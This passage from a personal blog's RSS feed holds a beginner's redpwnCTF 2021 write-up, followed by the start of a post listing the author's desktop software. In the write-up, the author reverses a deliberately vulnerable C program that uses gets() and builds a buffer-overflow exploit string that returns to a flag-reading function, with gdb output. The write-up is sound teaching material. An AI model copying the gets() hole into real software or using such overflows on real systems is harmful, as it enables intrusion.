- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;string.h&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token macro property directive-hash"&gt;
- #
- &lt;/span&gt;
- &lt;span class="token macro property directive keyword"&gt;
- include
- &lt;/span&gt;
- &lt;span class="token macro property"&gt;
- &lt;/span&gt;
- &lt;span class="token macro property string"&gt;
- &lt;stdlib.h&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- void
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- super_generic_flag_reading_function_please_ret_to_me
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- char
- &lt;/span&gt;
- &lt;span class=""&gt;
- flag
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0x100
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- FILE
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- *
- &lt;/span&gt;
- &lt;span class=""&gt;
- fp
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- fopen
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "./flag.txt"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "r"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- if
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- !
- &lt;/span&gt;
- &lt;span class=""&gt;
- fp
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "no flag!! contact a member of rob inc"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- exit
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- -
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 1
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- fgets
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- flag
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0xff
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- fp
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- flag
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- fclose
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- fp
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- int
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- main
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- void
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token keyword"&gt;
- char
- &lt;/span&gt;
- &lt;span class=""&gt;
- comments_and_concerns
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 32
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stdout
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stdin
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- setbuf
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- stderr
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token constant"&gt;
- NULL
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..."
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "slap on some flavortext and there's no way rob will fire me now!"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- puts
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- "this is genius!! what do you think?"
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token function"&gt;
- gets
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- comments_and_concerns
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- With my newfound knowledge of binary exploitation, I figured I would have to
-overwrite the return pointer on the stack somehow, so the program calls the
- &lt;code&gt;
- super_generic_flag_reading_function_please_ret_to_me
- &lt;/code&gt;
- function that isn't
-called at all in the original.
- &lt;/p&gt;
- &lt;p&gt;
- The only input we have control over is again a call to
- &lt;code&gt;
- gets();
- &lt;/code&gt;
- &lt;/p&gt;
- &lt;p&gt;
- Let's look at the dissassembly in gdb:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) disas main
-Dump of assembler code for function main:
- 0x00000000004013f4 &lt;+79&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x00000000004013f9 &lt;+84&gt;: lea rdi,[rip+0xca0] # 0x4020a0
- 0x0000000000401400 &lt;+91&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x0000000000401405 &lt;+96&gt;: lea rdi,[rip+0xd0c] # 0x402118
- 0x000000000040140c &lt;+103&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x0000000000401411 &lt;+108&gt;: lea rdi,[rip+0xd48] # 0x402160
- 0x0000000000401418 &lt;+115&gt;: call 0x4010a0 &lt;puts@plt&gt;
- 0x000000000040141d &lt;+120&gt;: lea rax,[rbp-0x20]
- 0x0000000000401421 &lt;+124&gt;: mov rdi,rax
- 0x0000000000401424 &lt;+127&gt;: call 0x4010e0 &lt;gets@plt&gt;
- 0x0000000000401429 &lt;+132&gt;: mov eax,0x0
- 0x000000000040142e &lt;+137&gt;: leave
- 0x000000000040142f &lt;+138&gt;: ret
-End of assembler dump.
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- We see again multiple calls to
- &lt;code&gt;
- &lt;puts@plt&gt;
- &lt;/code&gt;
- and right after a call to
- &lt;code&gt;
- &lt;gets@plt&gt;
- &lt;/code&gt;
- . There is no
- &lt;code&gt;
- cmp
- &lt;/code&gt;
- and
- &lt;code&gt;
- jne
- &lt;/code&gt;
- to be found in this challenge though.
- &lt;/p&gt;
- &lt;p&gt;
- The goal is to overwrite the
- &lt;em&gt;
- return adress
- &lt;/em&gt;
- . This is a memory adress also
-stored in memory, and the program will move execution to that memory adress
-once it sees a
- &lt;code&gt;
- ret
- &lt;/code&gt;
- instruction. In this 'vanilla' state, the return adress
-always goes to the assembly equivalent of an
- &lt;code&gt;
- exit()
- &lt;/code&gt;
- function. Let's see if we
-can overwrite it by giving too much input:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) break *0x000000000040142f
-Breakpoint 1 at 0x40142f
-(gdb) run &lt; &lt;(python3 -c "print('a' * 56)")
--- Breakpoint 1 hit --
-(gdb) info registers
-rax 0x0 0x0
-rbx 0x401430 0x401430
-rsi 0x7ffff7f7d883 0x7ffff7f7d883
-rdi 0x7ffff7f804e0 0x7ffff7f804e0
-rbp 0x6161616161616161 0x6161616161616161
-rsp 0x7fffffffd898 0x7fffffffd898
-rip 0x40142f 0x40142f &lt;main+138&gt;
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- As you can see, the $rbp register is completely overwritten with
- &lt;code&gt;
- 0x61
- &lt;/code&gt;
- 's.
-Let's check the $rsp register to see where the
- &lt;code&gt;
- main()
- &lt;/code&gt;
- function tries to go
-after
- &lt;code&gt;
- ret
- &lt;/code&gt;
- :
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) run
-Starting program: ret2generic-flag-reader
-alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
-how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
-slap on some flavortext and there's no way rob will fire me now!
-this is genius!! what do you think?
-a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3
--- Breakpoint 1 hit --
-(gdb) x/1gx $rsp
-0x7fffffffd898: 0x3363326331633063
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Let's use cyberchef to see what
- &lt;code&gt;
- 0x3363326331633063
- &lt;/code&gt;
- is in ascii!
- &lt;/p&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;div class="image"&gt;
- &lt;img src="/img/redpwn2021/cyberchef1.png" alt=""&gt;
- &lt;/div&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;p&gt;
- Hmm, it's backwards. Let's reverse it!
- &lt;/p&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;div class="image"&gt;
- &lt;img src="/img/redpwn2021/cyberchef2.png" alt=""&gt;
- &lt;/div&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;p&gt;
- Let's find the adress of the super generic flag reading function with gdb.
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- (gdb) print super_generic_flag_reading_function_please_ret_to_me
-$2 = {&lt;text variable, no debug info&gt;} 0x4011f6 &lt;super_generic_flag_reading_function_please_ret_to_me&gt;
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Now we're ready to craft a string that exploits the program and runs the secret
-function!
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 &lt;- original
- c0c1c2c3 &lt;- ends up in $rsp
-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &lt;- padding ( 0x28 * 'a' )
-
- c 0 c 1 c 2 c 3 &lt;- ends up in $rsp
- 3 c 2 c 1 c 0 c &lt;- reverse
-0x3363326331633063 &lt;- reverse (hex)
-0x00000000004011f6 &lt;- pointer we want in $rsp
- f611400000000000 &lt;- reverse
- \xf6\x11\x40\x00\x00\x00\x00\x00 &lt;- python bytestring
-
-exploit string:
-b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00'
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Now let's try it in an environment-less shell:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader
-alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
-how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
-slap on some flavortext and there's no way rob will fire me now!
-this is genius!! what do you think?
-flag{this_is_a_dummy_flag_go_solve_it_yourself}
-
-Segmentation fault (core dumped)
-sh-5.1$
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;h3 id="revbread-making"&gt;
- rev/bread-making
- &lt;/h3&gt;
- &lt;p&gt;
- For this challenge, I first tried using iaito again to do some program flow
-analysis. After giving up on that, I decided to instead brute-force the correct
-steps by hand. This was a very long and boring process.
- &lt;/p&gt;
- &lt;p&gt;
- First I used
- &lt;code&gt;
- strings
- &lt;/code&gt;
- again to extract all the dialogue and user input strings
-from the binary. Then I filtered them to not include obvious dialogue, but only
-the possible user input strings. And this is the correct path that gives the
-flag:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;code&gt;
- add flour
-add salt
-add yeast
-add water
-hide the bowl inside a box
-wait 3 hours
-work in the basement
-preheat the toaster oven
-set a timer on your phone
-watch the bread bake
-pull the tray out with a towel
-open the window
-unplug the oven
-unplug the fire alarm
-wash the sink
-clean the counters
-flush the bread down the toilet
-get ready to sleep
-close the window
-replace the fire alarm
-brush teeth and go to bed
- &lt;/code&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- In hindsight I could've probably made a simple python script to brute force all
-remaining possibilities until it got longer output from the program, but
-laziness took over and I decided that spending 45 minutes doing very dull work
-was more worth it instead.
- &lt;/p&gt;
- &lt;h2 id="epilogue"&gt;
- Epilogue
- &lt;/h2&gt;
- &lt;p&gt;
- Of the 47 total challenges, me and Willem only solved 15. My end goal for this
-CTF wasn't winning to begin with, so the outcome didn't matter for me. After
-the second day I set the goal of reaching the 3rd page of the leaderboards as
-my goal, and we reached 277'th place in the end which made my mom very proud!
- &lt;/p&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;div class="image"&gt;
- &lt;img src="/img/redpwn2021/leaderboard.png" alt=""&gt;
- &lt;/div&gt;
- &lt;p&gt;
- &lt;/p&gt;
- &lt;p&gt;
- I enjoyed the CTF a lot! There were some very frustrating challenges, and I
-still don't get how people solved web/wtjs, but that's fine. I did learn how to
-use GDB and a lot of other things during the CTF which were all very rewarding.
-I will definitely be participating in the 2022 redpwnCTF, and maybe even some
-others if they're beginner friendly :)
- &lt;/p&gt;
- &lt;p&gt;
- During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe
-host one myself, though I have no clue where to start with that. Maybe keep an
-eye out for that ;)
- &lt;/p&gt;
-&lt;/div&gt;</description>
- </item>
- <item>
- <title>Software that I use</title>
- <guid>software</guid>
- <link>/post/software</link>
- <pubDate>April 13 2021</pubDate>
- <description>&lt;div class="contentWrapper"&gt;
- &lt;h2 id="pc-software"&gt;
- PC software
- &lt;/h2&gt;
- &lt;p&gt;
- All of the software on this page is cool and I think you should try it. I also
-use all of this software, and will update this page when I find new,
- &lt;em&gt;
- even
-cooler
- &lt;/em&gt;
- software to use instead. Most if not all of my configuration files
-(dotfiles) are on my
- &lt;a href="https://github.com/lonkaars/dotfiles"&gt;
- github
- &lt;/a&gt;
- . You can
-clone these and edit them to fit your needs, or you can use them as a reference
-for when you can't figure out how to configure something.
- &lt;/p&gt;
- &lt;h3 id="regular-software"&gt;
- Regular software
- &lt;/h3&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Email client
- &lt;/strong&gt;
- :
- &lt;a href="https://neomutt.org/"&gt;
- neomutt
- &lt;/a&gt;
- . It's fast and simple,
-though configuring it was a pain in the ass. I'm currently using it in
-combination with mbsync and imapnotify to get notifications for new emails,
-and sync my mailbox for fast email viewing.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Music player
- &lt;/strong&gt;
- :
- &lt;a href="https://www.musicpd.org/"&gt;
- mpd
- &lt;/a&gt;
- with
- &lt;a href="https://github.com/ncmpcpp/ncmpcpp"&gt;
- ncmpcpp
- &lt;/a&gt;
- . This is the best music setup
-I've ever used. I download all my music in .flac format and mpd
- &lt;em&gt;
- just works
- &lt;/em&gt;
- .
-Since mpd has a server-client structure, I could also use this to set up
-multiple devices that can add music to a central queue at a party or
-something, but I just use it to launch
- &lt;a href="https://github.com/DanielFGray/fzf-scripts/blob/master/fzmp"&gt;
- an fzf mpc
-wrapper
- &lt;/a&gt;
- to
-quickly add music while I'm doing something else.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Text editor
- &lt;/strong&gt;
- :
- &lt;a href="https://neovim.io/"&gt;
- nvim
- &lt;/a&gt;
- . It's vim. If you don't like vim,
-you should try using it longer. If you still don't like vim, you can use
- &lt;a href="https://appimage.github.io/Code_OSS/"&gt;
- code oss
- &lt;/a&gt;
- which is visual studio code
-but without Microsoft's creepy telemetry features.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- PDF viewer
- &lt;/strong&gt;
- :
- &lt;a href="https://pwmt.org/projects/zathura/"&gt;
- zathura
- &lt;/a&gt;
- . It's a pdf
-viewer with vim bindings, and it works with my TeX editing setup's live
-reload thingy.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Image viewer
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/muennich/sxiv"&gt;
- sxiv
- &lt;/a&gt;
- . It's like zathura
-but for images, but it also does a bunch of other stuff that I don't use very
-often.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Browser
- &lt;/strong&gt;
- :
- &lt;a href="https://brave.com/"&gt;
- brave
- &lt;/a&gt;
- . It's a normie-friendly chromium
-fork with extra privacy features! I of course use brave (or any
-chromium-based browser) with
- &lt;a href="https://www.tampermonkey.net/"&gt;
- tampermonkey
- &lt;/a&gt;
- ,
- &lt;a href="https://ublockorigin.com/"&gt;
- ublock origin
- &lt;/a&gt;
- ,
- &lt;a href="https://github.com/openstyles/stylus"&gt;
- stylus
- &lt;/a&gt;
- and
- &lt;a href="https://darkreader.org/"&gt;
- dark
-reader
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Terminal
- &lt;/strong&gt;
- :
- &lt;a href="https://st.suckless.org/"&gt;
- st
- &lt;/a&gt;
- . It's fast and simple, nothing
-to complain about. I have my
- &lt;a href="https://github.com/lonkaars/st"&gt;
- own st fork
- &lt;/a&gt;
- ,
-with a bunch of patches that make me happy.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Password manager
- &lt;/strong&gt;
- :
- &lt;a href="https://bitwarden.com/"&gt;
- bitwarden
- &lt;/a&gt;
- . Open source
-password manager that you can host yourself. It also has public servers which
-are mostly free, but some features like time-based one-time passwords are
-paid. All the clients are also open source.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Document typesetting
- &lt;/strong&gt;
- :
- &lt;a href="https://www.latex-project.org/"&gt;
- LaTeX
- &lt;/a&gt;
- (using
- &lt;a href="https://personal.psu.edu/~jcc8/software/latexmk/"&gt;
- latexmk
- &lt;/a&gt;
- with the
- &lt;a href="http://xetex.sourceforge.net/"&gt;
- XeTeX
- &lt;/a&gt;
- compiler).
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- File browser
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/ranger/ranger"&gt;
- ranger
- &lt;/a&gt;
- . It's kind of
-slow, but I use the bulkrename feature very often, and I haven't gotten used
-to the perl
- &lt;code&gt;
- rename
- &lt;/code&gt;
- script yet.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;a href="https://github.com/MacPaw/XADMaster"&gt;
- unar
- &lt;/a&gt;
- . I like running
- &lt;code&gt;
- unar [archive]
- &lt;/code&gt;
- instead of using
- &lt;code&gt;
- 7z
- &lt;/code&gt;
- ,
- &lt;code&gt;
- tar
- &lt;/code&gt;
- ,
- &lt;code&gt;
- unzip
- &lt;/code&gt;
- , etc. It creates a new folder to unpack
-to automatically so it does exactly what I need.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;h3 id="os-stuff"&gt;
- OS stuff
- &lt;/h3&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Window manager
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/Airblader/i3"&gt;
- i3-gaps
- &lt;/a&gt;
- . I tried it
-once and didn't switch back so this is a winner I guess. I've also heard good
-things about
- &lt;a href="https://dwm.suckless.org/"&gt;
- dwm
- &lt;/a&gt;
- , though I haven't used it
-myself. Most people complain about i3's limited configurability, but I
-haven't ran into something that it doesn't do for me.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Application launcher
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/davatorium/rofi"&gt;
- rofi
- &lt;/a&gt;
- . I've
-been using rofi since I started using linux, and haven't switched to anything
-else because it's
- &lt;em&gt;
- very
- &lt;/em&gt;
- configurable, and has a dmenu mode for using it
-instead of dmenu with other scripts. I use it primarily as my application
-launcher, but I also have a hotkey setup to launch
- &lt;code&gt;
- bwmenu
- &lt;/code&gt;
- which is a script
-that fills in bitwarden passwords using rofi.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Shell
- &lt;/strong&gt;
- :
- &lt;a href="https://www.zsh.org/"&gt;
- zsh
- &lt;/a&gt;
- with
- &lt;a href="https://ohmyz.sh/"&gt;
- oh-my-zsh
- &lt;/a&gt;
- .
-It's zsh, all the cool kids use it already. I do have
- &lt;code&gt;
- /usr/bin/sh
- &lt;/code&gt;
- &lt;code&gt;
- ln -s
- &lt;/code&gt;
- 'd
-to
- &lt;code&gt;
- /usr/bin/bash
- &lt;/code&gt;
- , but I'd like to change that to
- &lt;code&gt;
- /usr/bin/dash
- &lt;/code&gt;
- . Eh, I'll
-get around to it someday.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Status Bar
- &lt;/strong&gt;
- :
- &lt;a href="https://github.com/polybar/polybar"&gt;
- polybar
- &lt;/a&gt;
- . Simple bar,
-gets the job done, the configuration files make me go insane though. It took
-me a good half year of ricing to understand the polybar configuration files,
-and I'm still not sure if I do.
- &lt;/p&gt;
- &lt;/li&gt;
- &lt;li&gt;
- &lt;p&gt;
- &lt;strong&gt;
- Notification daemon
- &lt;/strong&gt;
- :
- &lt;a href="https://dunst-project.org/"&gt;
- dunst
- &lt;/a&gt;
- . I used to use
